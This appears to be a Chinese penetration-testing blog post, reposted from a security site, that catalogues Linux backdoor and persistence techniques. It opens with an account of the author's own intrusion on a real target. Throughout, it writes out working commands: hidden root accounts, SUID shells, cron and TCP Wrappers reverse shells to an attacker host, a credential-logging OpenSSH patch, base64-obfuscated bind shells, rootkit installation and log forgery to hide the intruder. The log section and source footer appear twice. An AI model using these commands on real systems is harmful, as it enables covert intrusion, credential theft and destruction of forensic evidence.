var/log/messages,该文件的格式是每一行包含日期、主机名、程序名,后面是包含PID或内核标识的方括号,一个冒号和一个空格
/var/log/wtmp,该日志文件永久记录每个用户登录、注销及系统的启动,停机的事件。该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息,并以反序从后向前显示用户的登录记录,last也能根据用户,终端tty或时间显示相应的记录
/var/run/utmp,该日志文件记录有关当前登录的每个用户的信息,因此这个文件会随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录,不会为用户保留永久的记录。系统中需要查询当前用户状态的程序,如who、w、users、finger等就需要访问这个文件
/var/log/xferlog,该日志文件记录FTP会话,可以显示出用户向FTP服务器或从服务器拷贝了什么文件。该文件会显示用户拷贝到服务器上的用来入侵服务器的恶意程序,以及该用户拷贝了哪些文件供他使用。
bash_history,这是bash终端的命令记录,能够记录1000条最近执行过的命令(具体多少条可以配置),通过这个文件可以分析此前执行的命令来知道知否有入侵者,每一个用户的home目录里都有这么一个文件
清除脚本:
https://github.com/JonGates/jon
之前记录的笔记反过来看Linux后门的各种类型也算是比较全面了,最后我还是没有找到中意的后门,商业的又买不起,自己又不会写,转行了转行了搞毛渗透。
参考链接:
https://www.slideshare.net/ulissescastro/50-ton-of-backdoors?from_action=save
linux一种无文件后门技巧(译文)
https://kevien.github.io/2018/02/20/linux%E4%B8%80%E7%A7%8D%E6%97%A0%
 本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/155943
安全客 - 有思想的安全新媒体 查看全部

在一次渗透中,成功获取某目标几台比较重要的机器,当时只想着获取脱库,结果动静太大被发现了,之前渗透并没太在意Linux维持权限,经过此次事后从Google找各种资料,一款满意的rootkit都没有,现在一直在关注这方面,但还是没有找到满意的后门,在渗透圈一个人的资源总是有限往往你全力追求的,也不过是别人的一层关系就可以解决得到更有力的资源。
常用后门技术

  • 增加超级用户帐号

  • 破解/嗅控用户密码

  • 放置SUID Shell**

  • 利用系统服务程序

  • TCP/UDP/ICMP Shell

  • Crontab定时任务

  • 共享库文件

  • 工具包rootkit

  • 可装载内枋模块(LKM)


 增加超级用户
echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd

如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号
echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
小案例
搞某外企,主站拿不下来进行C段渗透,发现某个业务系统存在Struts2漏洞。
Struts漏洞工具执行命令有些交互式没有办法回显,所以通过无密码添加密码来连接SSH:
useradd seradd -u 0 -o -g root -G roo1
echo "123456" | passwd --stdin roo1 #有些环境中并不能成功

跑去登录发现拒绝访问,查看了下/etc/shadow并没有修改成功密码,这时候我考虑了可能设置了密码策略,所以我添加了一个14位,大小写加特殊字符的,还是无法登录,没有办法修改成功,因为无法回显并不知道错误信息,所以试了几个添加密码的方法。
echo "roo1:password" |chpasswd

修改密码失败
echo "123456n123456" |(sudo passwd roo1)
#有些情况下是可以成功的一条命令

试了几种方法都没有修改成密码,最后无回显添加Linux密码一种方法:
而这种方法是可以绕过密码强速限制添加的。
/usr/sbin/useradd -u 0 -o -g root -G root -d /home/mx7krshell mx7krshell -p $1$F1B0hFxb$NkzreGE7srRJ**/

果然成功了,后来上服务器用passwd修改密码,提示

是之前写的密码太简单了,而服务器有密码策略,然后用mkpasswd自动生成的密码修改尝试 NW8JLHV6m*ug,成功了。
其实这条也是可以成功的,需要密码强度。
[size=14]useradd -u 0 -o -g root -G root user2 |[/size][size=14]echo[/size][size=14] -e [/size][size=14]"1qaz2wsxn1qaz2wsx"[/size][size=14]|passwd user1[/size]

 破解
获得shadow文件后,用John the Ripper工具破解薄弱的用户密码,根据我所使用的情况下只能破解一些简单常用密码其它密码很难跑出来。
除此之外可以使用hashcatGPU、或者分布式服务器来进行破解
这里给出之前同事在本地装的一台配置,价格好像也就3万多:


supermicro超微7048GR-TR准系统 双路塔式工作站4 GPU运算服务器 |一台
Intel/英特尔 XEON至强 E5-2620 V3 15M 2.4G 6核12 |2颗
金士顿 16G DDR4 REG ECC 2133 服务器内存条 |2根
三星(SAMSUNG) 850 PRO 512G SATA3 固态硬盘|2块
NVIDIA技嘉GTX1070 Founders Edition 8G| 4张 32G GPU


对于跑Windows密码还是非常快,而遇到Linux加密算法是非常蛋疼,如有需要可以贴出来搭建GPU破解服务器文章。
 放置SUID Shell
(测试失败):bash2针对suid做了一些护卫措施
普通用户在本机运行/dev/.rootshell,即可获得一个root权限的shell。
cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell

 Crontab后门
(容易被发现)
crontab命令被用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。
在Redis未授权访问中可以利用此方法获取Shell。
(crontab -l;printf "*/5 * * * * exec9<> /dev/tcp/localhost/8080&&exec0<&9&&exec1>&92>&1&&/bin/bash --noprofile –I;rno crontab for `whoami`0cn")|crontab –

 
 ssh 公钥免密
(容易被发现)
ssh-keygen -t rsa

id_rsa.pub写入服务端的authorized_keys
chmod 600 ~/.ssh/authorized_keys
chmod 700 ~/.ssh

 alias 后门
当前用户目录下.bashrc
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'

 pam 后门 or openssh
参考:
关于openssh通用后门的拓展
http://0cx.cc/ssh_get_password.jspx
wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
cd openssh-5.9p1.patch/
cp sshbd5.9p1.diff ../openssh-5.9p1
cd ../openssh-5.9p1
patch < sshbd5.9p1.diff //patch 后门

vi includes.h //修改后门密码,记录文件位置,
/
+#define ILOG “/tmp/ilog” //记录登录到本机的用户名和密码
+#define OLOG “/tmp/olog” //记录本机登录到远程的用户名和密码
+#define SECRETPW “123456654321” //你后门的密码

/
yum install -y openssl openssl-devel pam-devel
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

yum install -y zlib zlib-devel
make && make install
service sshd restart //重启sshd

Centos6可以使用后门,但是配合curl把登录密码发送到服务器失败
 SSH后门
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337

执行完之后,任何一台机器ssh root@IP -p 31337 不需要密码
 SSH wrapper后门简介
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

连接:socat STDIO TCP4:target_ip:22,sourceport=13377

默认端口为13377否则会出现:

 mafix rootkit
Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现让攻击者远程登陆的,特点是配置简单并可以自定义验证密码和端口号。
不知道我测试是否有问题很多系统不被支持

 利用系统服务程序
修改/etc/inetd.conf 
daytime stream tcp nowait /bin/sh sh –I
trojan程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序
 TCP/UDP/ICMP Shell
Ping Backdoor,通过ICMP包激活后门, 形成一个Shell通道。
TCP ACK数据包后门,能够穿越防火墙。
Linux下的icmp shell后门 容易被发现
http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz
被控端./ishd -i 65535 -t 0 -p 1024 -d
控制端./ish -i 65535 -t 0 -p 1024 192.168.1.69


这个是py版的
https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py
Linux下ICMP后门PRISM
使用这种模式的后门将会在后台等待特定的包含主机/端口连接信息的ICMP数据包,通过私有密钥可以阻止第三方访问。后门进程接受ping包激活。
编译安装:gcc <..OPTIONS..> -Wall -s -o prism prism.c
-DDETACH #后台运行
-DSTATIC #开启STATIC模式 (默认ICMP模式)
-DNORENAME #不使用自定义的进程名
-DIPTABLES #清空所有的iptables规则
用的是单台机器测试所以2个IP一样:sendPacket.py 内机 FUCK 控制端 19832


测试感觉还行,不知道在真实环境下能否维持多久。
参考
http://vinc.top/2016/09/28/linux%E4%B8%8Bicmp%E5%90%8E%E9%97%A8prism/
 
 共享库文件
在共享库中嵌入后门函数
使用后门口令激活Shell,获得权限
能够躲避系统管理员对二进制文件本身的 校验
 可装载内核模块(LKM)
LKM:Loadable Kernel Modules
动态的加载,不需要重新编译内核。
截获系统调用,具有隐藏目录、文件、进 程、网络连接等强大功能。
自身隐蔽性好,发现难度较大。
著名的LKM包有adore和knark。
内核级rootkit Kbeast的安装与使用
支持的内核版本有2.6.16, 2.6.18, 2.6.32, and 2.6.35。
wget http://core.ipsecs.com/rootkit/kernel-rootkit/ipsecs-kbeast-v1.tar.gz
config.h配置密码等

安装./setup build


守护进程的PID是1747
隐藏目录:

通过命令是无法查看开放端口的

ps aux命令也是无法查看到进程,除非指定进程名称,我们把后门进程名称伪靠系统服务也是可以让管理员头疼。
而通过nmap全端口扫描出现了13377后门端口,通过telnet连接

使用总结:
隐藏进程、隐藏端口
支持版本太少、重启将失效。
http://vinc.top/2016/06/07/%E5%86%85%E6%A0%B8%E7%BA%A7rootkit-kbeast%E7%9A%84%E5%AE%89%E8%A3%85%E4%B8%8E%E4%BD%BF%E7%94%A8/
 隐藏文件
Linux/Unix 藏文件和文件夹
Linux/Unix 下想藏 Webshell 或者后门什么的,可以利用一下隐藏文件夹和文件。
方法一
比如创建一个名字开头带 . 的 Webshell 或者文件夹,默认情况下是不会显示出来的,浏览器访问的时候加点访问就行。(查看方法:ls -a)
touch .webshell.php 创建名字为 .webshell.php 的文件
mkdir .backdoor/ 创建名字为 .backdoor 的文件夹
终极方法
在管理员喝多了或者脑子转不过来的情况下,是绝对不会发现的!至少我用了这么久是没几个发现的。
是文件的话浏览器访问直接输 … 就行,目录同理。
touch … 创建名字为 … 的文件
mkdir … 创建名字为 … 的文件夹
 Git hooks
原是XTERM反弹Shell,老外与Git结合
echo "xterm -display <attacker IP>:1 &" > .git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
Xnest:1

当更新git的时候会触发:
git commit -am "Test"

 PROMPT_COMMAND后门
bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。
一般运维人员都将用来记录每个用户执行命令的时间ip等信息。
每执行一个命令之前都会调用这个变量将你操作的命令记录下来。
export PROMPT_COMMAND='{ date "+[ %Y%m%d %H:%M:%S `whoami` ] `history 1 | { read x cmd; echo "$cmd      from ip:$SSH_CLIENT   $SSH_TTY"; }`"; }>> /home/pu/login.log'

但是在安全人员手里味道变得不一样了
export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c "exec('aW1wb3J0IHNvY2tldCxvcyxzeXMKcz1zb2NrZXQuc29ja2V0KCkKcy5iaW5kKCgiIiwxMDI1KSkKcy5saXN0ZW4oMSkKKGMsYSk9cy5hY2NlcHQoKQp3aGlsZSAxOgogZD1jLnJlY3YoNTEyKQogaWYgJ2V4aXQnIGluIGQ6CiAgcy5jbG9zZSgpCiAgc3lzLmV4aXQoMCkKIHI9b3MucG9wZW4oZCkucmVhZCgpCiBjLnNlbmQocikK'.decode('base64'))" 2>/dev/null &)"

Base64解密:
import socket,os,sys
s=socket.socket()
s.bind(("",1025))
s.listen(1)
(c,a)=s.accept()
while 1:
d=c.recv(512)
if 'exit' in d:
s.close()
sys.exit(0)
r=os.popen(d).read()
c.send(r)

一段简单的python socks监听命令

NC连接
nc 192.168.1.174 1025


 PROMPT_COMMAND提权
这个只是留做后门,有些黑客则是利用这点来进行提权。
这个要求管理员有su的习惯,我们可以通过它来添加一个id=0的用户
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND"

除此之外可以利用script记录某人行为:
基本用法:
script -t 2>demo.time -a demo.his
 记录保存为录像
scriptreplay demo.time demo.his
 播放记录
用户家目录下,修改环境变量,使得用户登录就会触发录像
vi ~/.profile
script -t -f -q 2>/wow/$USER-$UID-`date +%Y%m%d%H%M%S`.time -a /wow/$USER-$UID-`date +%Y%m%d%H%M%S`.his

 Sudoers “trick”
其实Sudoers并不算后门,是一个Linux用户控制权限
通过root权限改写对普通用户可执行root命令
sudo su -c "echo 'mx7krshell ALL = NOPASSWD: ALL' >> /etc/sudoers.d/README"

授权用户/组 主机=[(切换到哪些用户或组)] [是否需要输入密码验证] 命令1,命令2,...


更详细文章参考:
https://segmentfault.com/a/1190000007394449
 TCP Wrappers
TCP_Wrappers是一个工作在应用层的安全工具,它只能针对某些具体的应用或者服务起到一定的防护作用。比如说ssh、telnet、FTP等服务的请求,都会先受到TCP_Wrappers的拦截。
TCP_Wrappers有一个TCP的守护进程叫作tcpd。以telnet为例,每当有telnet的连接请求时,tcpd即会截获请求,先读取系统管理员所设置的访问控制文件,合乎要求,则会把这次连接原封不动的转给真正的telnet进程,由telnet完成后续工作;如果这次连接发起的ip不符合访问控制文件中的设置,则会中断连接请求,拒绝提供telnet服务。
ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/<Attack IP>/443 0>&1") & :allow

ssh访问目标主机
ssh [email]qweqwe@192.168.4[/email].100
触发后门

 nmap nse后门
很多linux系统中默认都安装了nmap
mkdir -p ~/.nmap/scripts/
cd ~/.nmap/scripts/
curl -O 'https://raw.githubusercontent.com/ulissescastro/linux-native-backdoors/master/nmap/http-title.nse'
local payload = "ZWNobyAiKi8xICogKiAqICogcHl0aG9uIC1jIFwiZXhlYygnYVcxd2IzSjBJSE52WTJ0bGRDeHpkV0p3Y205alpYTnpMRzl6TzJodmMzUTlKekV5Tnk0d0xqQXVNU2M3Y0c5eWREMDBORE03Y3oxemIyTnJaWFF1YzI5amEyVjBLSE52WTJ0bGRDNUJSbDlKVGtWVUxITnZZMnRsZEM1VFQwTkxYMU5VVWtWQlRTazdjeTVqYjI1dVpXTjBLQ2hvYjNOMExIQnZjblFwS1R0dmN5NWtkWEF5S0hNdVptbHNaVzV2S0Nrc01DazdiM011WkhWd01paHpMbVpwYkdWdWJ5Z3BMREVwTzI5ekxtUjFjRElvY3k1bWFXeGxibThvS1N3eUtUdHdQWE4xWW5CeWIyTmxjM011WTJGc2JDaGJKeTlpYVc0dlltRnphQ2NzSUNjdGFTZGRLVHNLJy5kZWNvZGUoJ2Jhc2U2NCcpKVwiIiB8IGNyb250YWI="


base64解密
echo "*/1 * * * * python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO2hvc3Q9JzEyNy4wLjAuMSc7cG9ydD00NDM7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChob3N0LHBvcnQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbJy9iaW4vYmFzaCcsICctaSddKTsK'.decode('base64'))"" | crontab#

解密
import socket,subprocess,os;host='127.0.0.1';port=443;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash', '-i']);

可以将127.0.0.1改成你的地址

 进程注入
cymothoa进程注入后门
./cymothoa -p 1014 -s 0 -y 8888

只能连接一次后就失效没啥用。
https://github.com/jorik041/cymothoa
 清理
bash去掉history记录
export HISTSIZE=0
export HISTFILE=/dev/null

 修改上传文件时间戳
touch -r 老文件时间戳 新文件时间戳
 伪造Apache日志中的指定IP
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/ access.log
sed –i ‘s/192.168.1.3/192.168.1.4/g’ /var/log/apache/error_log
 Linux日志清除
首先是Apache日志,Apache主要的日志就是
access.log``error_log
,前者记录了HTTTP的访问记录,后者记录了服务器的错误日志。根据Linux的配置不同和Apache的版本的不同,文件的放置位置也是不同的,不过这些都可以在httpd.conf中找到。
对于明文的Apache文件,通过正则表达式就可以搞定:
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/ access.log
sed –i 's/192.168.1.3/192.168.1.4/g' /var/log/apache/error_log

其中192.168.1.3是我们的IP,192.168.1.4使我们伪造的IP。
在正则表达式中有特殊的含义,所以需要用“”来进行转义。
MySQL日志文件
log-error=/var/log/mysql/mysql_error.log
 #错误日志
log=/var/log/mysql/mysql.log
#最好注释掉,会产生大量的日志,包括每一个执行的sql及环境变量的改变等等
log-bin=/var/log/mysql/mysql_bin.log
 # 用于备份恢复,或主从复制.这里不涉及。
log-slow-queries=/var/log/mysql/mysql_slow.log
 #慢查询日志
log-error=/var/log/mysql/mysqld.log

pid-file=/var/run/mysqld/mysqld.pid

sed –i 's/192.168.1.3/192.168.1.4/g'
/var/log/mysql/mysql_slow.log

至于二进制日志文件,需要登录mysql client来修改删除,建议这种操作最先执行。
php日志修改
sed –i 's/192.168.1.3/192.168.1.4/g'
/var/log/apache/php_error.log

最后就是Linux的日志文件了,这个比较多,记录的也比较复杂,我的环境是CentOS 6.3。我现在只把和渗透有关的文件列出来,主要/etc/logrotate.d/syslog/var/log/maillog,该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动,它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统
var/log/messages,该文件的格式是每一行包含日期、主机名、程序名,后面是包含PID或内核标识的方括号,一个冒号和一个空格
/var/log/wtmp,该日志文件永久记录每个用户登录、注销及系统的启动,停机的事件。该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息,并以反序从后向前显示用户的登录记录,last也能根据用户,终端tty或时间显示相应的记录
/var/run/utmp,该日志文件记录有关当前登录的每个用户的信息,因此这个文件会随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录,不会为用户保留永久的记录。系统中需要查询当前用户状态的程序,如who、w、users、finger等就需要访问这个文件
/var/log/xferlog,该日志文件记录FTP会话,可以显示出用户向FTP服务器或从服务器拷贝了什么文件。该文件会显示用户拷贝到服务器上的用来入侵服务器的恶意程序,以及该用户拷贝了哪些文件供他使用。
bash_history,这是bash终端的命令记录,能够记录1000条最近执行过的命令(具体多少条可以配置),通过这个文件可以分析此前执行的命令来知道知否有入侵者,每一个用户的home目录里都有这么一个文件
清除脚本:
https://github.com/JonGates/jon
之前记录的笔记反过来看Linux后门的各种类型也算是比较全面了,最后我还是没有找到中意的后门,商业的又买不起,自己又不会写,转行了转行了搞毛渗透。
参考链接:
https://www.slideshare.net/ulissescastro/50-ton-of-backdoors?from_action=save
linux一种无文件后门技巧(译文)
https://kevien.github.io/2018/02/20/linux%E4%B8%80%E7%A7%8D%E6%97%A0%
 
本文由安全客原创发布 
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/155943
安全客 - 有思想的安全新媒体